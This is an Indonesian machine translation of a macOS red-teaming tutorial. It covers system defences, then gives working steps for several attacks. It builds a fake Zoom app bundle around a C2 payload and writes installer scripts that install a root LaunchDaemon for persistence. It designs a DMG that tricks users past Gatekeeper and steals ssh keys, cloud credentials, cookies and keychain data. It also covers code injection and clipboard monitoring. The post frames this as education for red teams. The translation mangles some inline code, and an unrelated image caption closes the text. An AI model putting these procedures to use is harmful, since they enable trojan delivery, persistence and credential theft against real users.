Tim Merah macOS 101
Posting ini mencakup konsep dasar keamanan macOS dan mudah-mudahan berfungsi sebagai pengantar lingkungan macOS tim merah.
Topik yang Dicakup
- Gambaran Umum Keamanan macOS
- Gatekeeper & XProtect
- Hardened Runtime
- Perlindungan Integritas Sistem (SIP)
- Transparansi, Persetujuan, dan Kontrol (TCC)
- Kotak Pasir macOS
- Rantai Kunci - Muatan & Persistensi Akses Awal
- Bundel Aplikasi
- Paket Penginstal
- Gambar Disk (DMG) - Eskalasi Hak Istimewa & Eksploitasi Pasca
- Kesadaran Situasional
- Mencuri Cookie
- Pemantauan Clipboard
- Injeksi Kode
- Memuat Mach-O Dalam Memori
Tidak ada dalam posting ini yang merupakan penelitian "baru", melainkan mengkonsolidasikan informasi tentang topik di atas, dari sumber daya di bawah, di satu tempat agar lebih mudah dibaca dan diperkenalkan.
- Blog
- Patrick Wardle/Tujuan Lihat
- Adam Chester
- Justin Bui
- Csaba Fitzl
- Wojciech Reguła
- Cedric Owens
- Chris Ross
- Leo Pitt - Video
- DEFCON 29 Cedric Owens: macOS Tim Merah
- OBTS Cody Thomas: macOS Tim Merah
- x33fcon Wojciech Reguła: macOS Tim Merah
- OBTS Cody Thomas: Kunci Memilih Rantai Kunci macOS - Buku/Kursus
- The Art of Mac Malware karya Patrick Wardle
- OSMR ofensive Security - Referensi all-in-one
- Awesome-macOS-Red-Teaming
Penjaga Gerbang & XProtect
Gatekeeper adalah mekanisme keamanan yang dirancang untuk hanya mengizinkan aplikasi tepercaya berjalan di sistem, mirip dengan SmartScreen dan MOTW di Windows. Saat file yang dapat dieksekusi diunduh dari internet, file tersebut ditandai dengan com.apple.quarantineatribut, yang memicu penjaga gerbang saat file dijalankan.
Jika file yang dapat dieksekusi diaktakan, Gatekeeper memverifikasi tanda tangan kode dari file tersebut dan memberikan prompt kepada pengguna untuk mengonfirmasi bahwa mereka ingin menjalankan file tersebut.
Jika file yang dapat dieksekusi tidak diaktakan, Gatekeeper akan memberikan prompt kepada pengguna yang memberi tahu mereka bahwa file tidak dapat dijalankan karena tidak ditandatangani. Untuk menjalankan executable yang tidak ditandatangani, pengguna harus mengklik kanan file tersebut, lalu mengklik buka, bukan mengklik dua kali.
Setelah verifikasi tanda tangan kode, XProtect, yang merupakan antivirus bawaan macOS akan memindai file dari malware. XProtect menggunakan aturan YARA yang dapat ditemukan melalui locate XProtect.yaradan sebagian besar tidak berguna kecuali Anda menjalankan muatan Metasploit default. Selain itu, XProtect hanya memindai malware dalam tiga kondisi
- File sedang dijalankan untuk pertama kalinya
- Hash file telah berubah
- Aturan YARA XProtect telah diperbarui
Waktu Proses yang Dikeraskan
Hardened runtime adalah fitur yang dapat diaktifkan pada aplikasi untuk melindungi dari injeksi kode melalui pembajakan dylib, variabel lingkungan, dan injeksi port tugas. Salah satu contoh bagaimana waktu proses yang diperkeras melindungi terhadap injeksi adalah dengan mengharuskan setiap dylib yang dimuat ke dalam proses ditandatangani dengan sertifikat yang sama dengan aplikasi itu sendiri. Hal ini tentu saja menyebabkan masalah saat aplikasi perlu memuat dylib pihak ke-3, sehingga aplikasi dapat memiliki hak tertentu untuk menghapus beberapa batasan ini.
Kami dapat mencantumkan hak aplikasi melalui codesign -d --entitlements :- <file>atau list_entitlementsperintah di Poseidon, dan jika ada di bawah ini, kami mungkin dapat menyuntikkan ke dalam aplikasi:
- Hak
com.apple.security.cs.disable-library-validationmemungkinkan setiap dylib, ditandatangani atau tidak ditandatangani, untuk dimuat ke dalam proses. Bergantung pada lokasi dylib yang dimuat aplikasi, ini dapat membuka pintu untuk pembajakan dylib. - Hak
com.apple.security.cs.allow-dyld-environment-variablesmemungkinkan dylib untuk dimuat dariDYLD_INSERT_LIBRARIESvariabel lingkungan. Namun, hak ini saja tidak menghapus persyaratan penandatanganan kode yang disebutkan sebelumnya. Jika hak ini ada bersama dengan hak menonaktifkan-perpustakaan-validasi, Anda dapat menyuntikkan ke dalam aplikasi melalui caraDYLD_INSERT_LIBRARIES=malicious.dylib ./appyang sama sepertiLD_PRELOADdi Linux. - Hak
com.apple.security.get-task-allowmemungkinkan aplikasi lain untuk mendapatkan port tugas aplikasi Anda, yang serupa dengan mendapatkan pegangan untuk proses di Windows. Perlu dicatat bahwa untuk mengakses port tugas, kode Anda harus dijalankan sebagai root. Dengan port tugas, Anda kemudian dapat melakukan injeksi proses klasik melalui penulisan kode shell dan membuat utas.
Perlindungan Integritas Sistem (SIP)
SIP alias "tanpa akar" melindungi file sistem dari modifikasi. Pada dasarnya, bahkan sebagai pengguna root, kami tidak dapat mengubah file sistem tertentu seperti yang dapat dieksekusi di dalam /bin/. File yang dilindungi oleh SIP dapat diidentifikasi melalui restrictedflag.
SIP dapat dinonaktifkan melalui csrutil disable, namun, perangkat harus dihidupkan ulang dalam mode pemulihan, oleh karena itu, hal ini biasanya di luar pertanyaan dari perspektif tim merah.
Transparansi, Persetujuan, dan Kontrol (TCC)
TCC adalah fitur privasi macOS yang diterapkan di v10.14+ yang meminta pengguna untuk memberikan izin secara eksplisit saat aplikasi mencoba mengakses sumber daya tertentu seperti kamera, dan folder tertentu termasuk , , , Desktopdan Downloadsdrive Documents/volume.
Mencoba mengakses sumber daya yang dilindungi TCC tanpa izin dapat menyebabkan permintaan dibuat secara tidak sengaja, mengingatkan pengguna akan kehadiran Anda, dan pada akhirnya keterlibatan Anda berakhir lebih cepat dari yang diharapkan. Di bawah ini adalah beberapa file berguna yang tidak dilindungi oleh TCC:
- File & folder tersembunyi di direktori home —
~/.aws/*,~/.ssh/*,~/.bash_history,~/.zsh_history - Data aplikasi pengguna —
~/Library/Application Support/* - File kue —
~/Library/Application Support/Google/Chrome/Default/Cookies,~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies
Basis data TCC pengguna memerlukan akses disk penuh (FDA) untuk berinteraksi, namun, jika kita dapat berinteraksi dengannya, kita kemudian dapat memodifikasinya untuk memberi diri kita akses ke sumber daya lain. Kami dapat memeriksa apakah kami memiliki FDA tanpa meminta pengguna dengan menjalankan filebasis data TCC pengguna.
Pintasan TCC tidak terlalu "langka" dan saya sarankan untuk memeriksa blog Csaba Fitzl untuk tetap mendapatkan informasi terbaru tentang pintasan lama dan baru.
kotak pasir macOS
Kotak pasir macOS adalah fitur di mana pengembang dapat memilih aplikasi mereka jika dirilis di luar App Store, dan wajib untuk semua aplikasi yang diunduh langsung dari App Store. Aplikasi yang ikut serta dalam fitur kotak pasir akan memiliki hak com.apple.security.app-sandbox, dan seperti namanya, akan memaksanya untuk berjalan di dalam kotak pasir. Aplikasi yang berjalan di kotak pasir memiliki akses yang sangat terbatas ke sistem seperti kemampuan untuk membaca atau menulis file ke disk. Untuk alasan ini, jalur serangan tertentu pada macOS seperti phishing melalui makro tidak menarik. Karena aplikasi Microsoft Office ikut serta dalam kotak pasir dan akan mencegah Anda bertahan dan menjarah.
Gantungan kunci
Gantungan kunci dapat dibandingkan dengan LSASS di Windows dan menyimpan rahasia seperti kata sandi dan kunci untuk aplikasi. Misalnya, aplikasi dapat mengenkripsi file yang disimpannya di disk, dan kunci dekripsi untuk file ini disimpan di dalam gantungan kunci. Gantungan kunci sistem dapat ditemukan di /Library/Keychains/System.keychaindan gantungan kunci pengguna dapat ditemukan di ~/Library/Keychains/login.keychain-db.
Anda dapat mengunduh gantungan kunci pengguna, meskipun rahasia di dalamnya akan dienkripsi dengan kata sandi pengguna. Bergantung pada apakah Anda memiliki kata sandi pengguna, Anda dapat memanfaatkan Chainbreaker untuk mengekstrak rahasia, atau membuang hash dari kata sandi gantungan kunci melalui --dump-keychain-password-hashformat untuk hashcat yang sangat lambat untuk dipecahkan.
Terakhir, setiap entri dalam rantai kunci memiliki ACL dan izin terkait yang dapat dilihat dalam aplikasi Akses Rantai Kunci. Aplikasi tepercaya adalah aplikasi yang dapat menjalankan operasi pada entri rantai kunci tanpa meminta pengguna. Daftar ini dapat ditemukan di tab "Kontrol Akses", dan kasus yang menarik adalah ketika daftarnya adalah "NULL", artinya semua aplikasi tepercaya, jangan bingung dengan daftar kosong yang berarti tidak ada aplikasi yang dipercaya.
Jika Anda menjalankan dalam konteks aplikasi tepercaya atau daftarnya NULL, dan Anda memiliki salah satu otorisasi di bawah ini, Anda mungkin dapat mengekstrak rahasia tanpa meminta pengguna:
- ACLAuthorizationDecrypt
- ACLAuthorizationExportClear
- ACLAuthorizationExportWrapped
- ACLAuthorizationAny
Muatan & Persistensi Akses Awal
Jika Anda tertarik mempelajari tentang jenis payload untuk alternatif macOS dari yang tercantum di bawah ini, saya sarankan untuk memeriksa proyek Mystikal dan postingan blog terkait .
Selain itu, perlu dicatat bahwa produk EDR di macOS belum matang dan pada dasarnya hanya berfungsi sebagai produk logging. Oleh karena itu, Anda biasanya dapat menggunakan agen C2 default apa pun selain dari Metasploit, dan tidak perlu khawatir tentang EDR yang menangkap muatan Anda.
Bundel Aplikasi
Bundel aplikasi (.app) adalah salah satu jenis program yang paling umum dan merupakan format yang dirilis oleh hampir semua perangkat lunak pengguna akhir. Bundel aplikasi disimpan di dalam /Applications/dan ditampilkan kepada Anda saat Anda mengeklik Launchpad. Merujuk dokumentasi Apple , bundel aplikasi minimal biasanya memiliki struktur berikut:
AppName.app/
Contents/
Info.plist # App config info
MacOS/ # Contains the app's executable file
Resources/ # Fonts, images, sounds, icons, etc.
1 - Buat struktur folder bundel aplikasi
mkdir FakeZoom.app
mkdir FakeZoom.app/Contents
touch FakeZoom.app/Contents/Info.plist
mkdir FakeZoom.app/Contents/MacOS
mkdir FakeZoom.app/Contents/Resources
Selanjutnya, karena Intel dan Silicon mac sekarang sudah umum, kita dapat membuat muatan AMD dan ARM Poseidon, lalu menggabungkannya menjadi Mach-O universal yang dapat berjalan di salah satu arsitektur melalui dan kemudian menempatkannya ke dalam lipo -create <arm-payload> <amd-payload> -output <universal-payload>direktori MacOS.
3 - Buat Info.plistfile.
Mengacu pada dokumen pengembang Apple, kami perlu menentukan beberapa kunci:
- CFBundleExecutable — Nama executable utama dalam direktori MacOS (PoseidonPayload)
- CFBundleIconFile — Nama gambar aplikasi (ZoomImageForPayload)
- CFBundleIdentifier — String unik yang mengidentifikasi aplikasi Anda di sistem (com.examplepayload.Zoom)
- CFBundleName — Nama aplikasi Anda (FakeZoom)
- CFBundleVersion — Nomor versi build aplikasi Anda (1.0.0)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>PoseidonPayload</string>
<key>CFBundleIconFile</key>
<string>ZoomImageForPayload</string>
<key>CFBundleIdentifier</key>
<string>com.examplepayload.Zoom</string>
<key>CFBundleName</key>
<string>FakeZoom</string>
<key>CFBundleVersion</key>
<string>1.0.0</string>
</dict>
</plist>
Karena kami membuat aplikasi Zoom palsu, kami cukup menyalin file icns Zoom dari direktori /Applications/(jika diinstal) dan ke dalam Resources/ZoomImageForPayload, namun, Anda dapat menggunakan ikon apa pun yang Anda inginkan.
Paket Pemasang
Paket penginstal (.pkg) adalah arsip xar dan jenis program umum lainnya yang terlihat saat perangkat lunak perlu diinstal dengan hak akses root. Meskipun paket penginstal dapat berisi muatan utama untuk dijalankan saat dibuka, alternatifnya adalah dengan memanfaatkan skrip "prainstal" dan "postinstal", yang tersirat dari namanya, akan menjalankan skrip sebelum dan sesudah penginstalan.
Untuk contoh ini, kami akan membuat paket penginstal yang menggunakan skrip ini untuk mendaftarkan LaunchDaemon untuk persistensi sebagai pengguna root saat dibuka.
1 - Buat struktur folder paket penginstal
mkdir scripts
mkdir scripts/files
touch scripts/preinstall
touch scripts/postinstall
chmod +x scripts/preinstall
chmod +x scripts/postinstall
2 - Buat file plist untuk mendaftar sebagai LaunchDaemon
Hanya ada satu nilai yang diperlukan dalam file plist ini yang ProgramArgumentspada dasarnya menentukan apa yang harus dijalankan saat LaunchDaemon dipicu.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.examplepayload.persistence</string>
<key>ProgramArguments</key>
<array>
<string>/Library/Application Support/PoseidonPayload</string>
</array>
<key>KeepAlive</key>
<true/>
</dict>
</plist>
3 - Buat skrip sebelum dan sesudah pemasangan
Skrip ini hanyalah skrip bash biasa, namun harus dimulai dengan #!/bin/bashdan diakhiri dengan exit 0. Kami akan menggunakan skrip preinstall untuk menyalin plist dan payload kami ke lokasi yang benar pada disk, dan kemudian skrip postinstall untuk mendaftarkan LaunchDaemon.
#!/bin/bash
cp files/PoseidonPayload "/Library/Application Support/PoseidonPayload"
cp files/com.examplepayload.persistence.plist "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0
#!/bin/bash
launchctl load "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0
Untuk membuat paket penginstal dari skrip ini, kita cukup menjalankannyapkgbuild --identifier <identifier> --nopayload --scripts <path to scripts folder> <output>.pkg
Kami dapat membongkar LaunchDaemon dengan menjalankan launchctl unload com.examplepayload.persistence.plistdan perlu dicatat bahwa menjatuhkan payload ke /Library/Application Support/murni preferensi, dan dapat dijatuhkan di tempat lain.
LaunchDaemons hanya mewakili satu bentuk kegigihan di macOS dan jika Anda tertarik dengan bentuk lain, saya sarankan untuk memeriksa blog SentinelOne .
Gambar Disk (DMG)
DMG adalah volume terkompresi yang dapat berisi format muatan lainnya. Manfaat mengirimkan muatan Anda dalam file DMG adalah Anda dapat menambahkan elemen grafis untuk membantu rekayasa sosial pengguna untuk mengklik kanan, lalu membuka muatan Anda untuk melewati Penjaga Gerbang, karena DMG itu sendiri tidak memanggil Penjaga Gerbang.
Untuk membuat DMG yang tampak asli, kita perlu membuat gambar latar belakang khusus, saya lebih suka memanfaatkan perangkat lunak yang sah atau wallpaper perusahaan bersama dengan draw.io , tetapi Anda dapat membuatnya sendiri sesuka Anda.
Untuk demo ini, saya menggunakan gambar ini sebagai dasarnya, dan membuat ini:
Untuk memulainya kita bisa membuat disk image dengan membuka Disk Utilitydan memilih “File” lalu “New Image” lalu “Blank Image…”
Kita dapat memilih nama volume kita, lalu mengubah "Format" menjadi "Mac OS Extended (Journaled)".
Buka file .dmg, yaitu "contoh-payload.dmg" dalam kasus saya, dan volume akan muncul di Desktop Anda, lalu buka volume, yaitu "contoh" dalam kasus saya. Untuk menampilkan file tersembunyi di macOS, Anda dapat mengklik “[shift] + [command] + [titik]”.
Pindahkan gambar latar belakang Anda ke dalam volume /Volumes/<volume-name>/sebagai file tersembunyi, bersama dengan muatan Anda. Untuk contoh ini, kita dapat menggunakan kembali bundel aplikasi dari bagian di atas.
Selanjutnya, kita dapat mengklik volume dan memilih "View" diikuti dengan "Show View Options".
Di bawah "Latar Belakang", pilih "Gambar", lalu klik dua kali kotak "Seret gambar ke sini". Jendela Finder baru akan terbuka dan Anda dapat memilih gambar latar belakang dari dalam volume. Jika Anda tidak memilih gambar yang terdapat di dalam volume, hal itu dapat menyebabkan kesalahan. Selain itu, kita dapat mengubah ukuran ikon melalui "Ukuran Ikon".
Ubah ukuran jendela agar sesuai dengan latar belakang Anda, dan pusatkan bundel aplikasi.
Setelah Anda puas dengan tata letaknya, dan saat jendela Finder masih terbuka, klik kanan volume di Desktop, dan klik "Keluarkan".
Buka kembali Disk Utilitydan pilih "Gambar" lalu "Konversi ..."
Pilih file DMG Anda, lalu pilih "Enkripsi: tidak ada" dan "Format Gambar: terkompresi"
Tentu saja demo ini tidak terlalu masuk akal mengingat ini adalah latar belakang Chrome, dengan aplikasi Zoom (lol), namun semoga Anda mengerti maksudnya.
Satu hal terakhir yang perlu diperhatikan terkait payload adalah bahwa file yang diunduh melalui browser Anda akan menambahkan atribut com.apple.metadata:kMDItemWhereFroms, yang mencantumkan dari mana file tersebut diunduh. Jika Anda mengunduh muatan Poseidon Anda langsung dari Mythic di browser Anda sebelum mengemasnya, ini dapat menyebabkan terungkapnya lokasi server tim Anda secara tidak sengaja. Anda dapat menghapus atribut ini melalui xattr -d com.apple.metadata:kMDItemWhereFroms <file>.
Eskalasi Keistimewaan & Pasca Eksploitasi
Bagian ini tidak lengkap dari semua aktivitas yang dapat Anda lakukan setelah mendapatkan shell dan hanya dimaksudkan untuk memberikan gambaran umum tentang post-ex di macOS.
Kesadaran Situasional
Anda dapat memulai dengan beberapa pemeriksaan kesadaran situasional pada sistem, dengan menjalankan HealthInspector atau SwiftBelt , atau menelusuri file konfigurasi secara manual. Banyak dari file ini akan menjadi file plist dalam format biner dan agar dapat dibaca, Anda dapat menggunakan plutil. Beberapa file yang menarik dapat berupa:
- Aplikasi apa yang dimiliki pengguna di dok? —
plutil -p ~/Library/Preferences/com.apple.dock.plist - File apa yang baru saja berinteraksi dengan pengguna? —
plutil -p ~/Library/Preferences/com.apple.finder.plist - Versi macOS apa yang Anda gunakan? —
plutil -p /System/Library/CoreServices/SystemVersion.plist
Selanjutnya, Anda dapat mulai mengunduh beberapa file yang tidak dilindungi oleh TCC dari disk, termasuk riwayat bash atau zsh pengguna, kunci ssh, kunci cloud (AWS, GCP, dll), gantungan kunci, dan cookie.
Mengingat Anda menggunakan macOS, kemungkinan besar organisasi untuk keterlibatan Anda mungkin adalah perusahaan teknologi atau startup, dan Slack umum terlihat di lingkungan ini. Jika demikian, Anda dapat mengunduh file-file berikut:
~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/storage/root-state.json~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies
Selanjutnya, Anda dapat menargetkan cookie browser, untuk contoh ini kami akan menggunakan Google Chrome. Jika Anda memiliki kata sandi pengguna baik dari menemukannya di dalam riwayat bash atau zsh mereka atau mungkin menjalankan pembisik kata sandi , Anda dapat mengunduh ~/Library/Application Support/Google/Chrome/Default/Cookiesdan mendekripsi file secara offline. Alternatifnya, jika Anda tidak memiliki kata sandi pengguna, Anda dapat menggunakan alat seperti WhiteChocolateMacademiaNut untuk memulai Chrome dengan debugging jarak jauh diaktifkan dan membuang cookie melalui soket web. Sekali lagi, karena mac EDR belum matang, menjatuhkan alat yang rusak ke disk seharusnya tidak menjadi masalah.
Dengan akses ke cookie browser, Anda kemudian dapat membuka SOCKS melalui perintah bawaan Poseidon atau drop chisel , dan menjelajahi situs internal. Khususnya, Anda mungkin ingin menargetkan situs dokumentasi internal seperti Confluence dan repositori kode internal mereka untuk menemukan kredensial istimewa.
Pemantauan papan klip
Di macOS setiap kali konten clipboard berubah, penghitung akan bertambah, sehingga, kami dapat memantau nilai penghitung dalam interval dan mengambil konten clipboard jika telah berubah. Poseidon memiliki perintah bawaan clipboard_monitoryang bisa kita manfaatkan untuk ini.
Beberapa hal tambahan yang perlu diperhatikan:
- Perintah
clipboard_monitormemfilter untuk hanya mengambil teks biasa, jadi jika pengguna menyalin biner besar ke clipboard mereka, kami tidak perlu khawatir mengirimkan lalu lintas dalam jumlah besar melalui C2 kami. - Pengguna root tidak memiliki akses ke clipboard, jadi alat pemantauan clipboard apa pun harus dijalankan dalam konteks pengguna.
Seperti yang disebutkan sebelumnya di bagian harden runtime, kemampuan untuk menyuntikkan kode ke dalam aplikasi berguna dari sudut pandang tim merah karena berpotensi memberi Anda hak tambahan dan akses ke sumber daya yang sebelumnya tidak Anda miliki.
Misalnya, muatan awal Anda mungkin tidak memiliki akses ke folder Unduhan, namun, jika Anda dapat menginjeksi kode ke Chrome yang mungkin memiliki hak tersebut com.apple.security.files.downloads.read-write, Anda akan dapat menelusuri folder Unduhan.
Untuk menemukan target injeksi kode, Anda dapat menjalankan perintah Poseidon list_entitlementsyang akan mencari proses yang sedang berjalan dengan hak yang disebutkan di bagian runtime yang diperkeras.
Dari sini Anda kemudian dapat memeriksa setiap proses untuk menemukan target potensial.
Salah satu bentuk injeksi kode lain yang tidak disebutkan sebelumnya adalah "pembajakan elektron", yang dibahas secara luas oleh Adam Chester di blog ini . Pada dasarnya Anda dapat memanfaatkan ELECTRON_RUN_AS_NODEvariabel lingkungan untuk menelurkan proses sebagai anak dari aplikasi elektron, dan karena proses anak mewarisi izin TCC dari induknya, Anda berpotensi mendapatkan hak mereka.
Memuat Mach-O Dalam Memori
Meskipun jelas tidak diperlukan dengan status macOS EDR saat ini, Mach-Os dapat dijalankan dalam memori. API yang digunakan untuk melakukan pemuatan dalam memori bervariasi antara versi OS, jadi saya tidak akan membahas ini, melainkan merekomendasikan untuk memeriksa pos Justin Bui dan pos Adam Chester .

![Apa itu Linked List? [Bagian 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































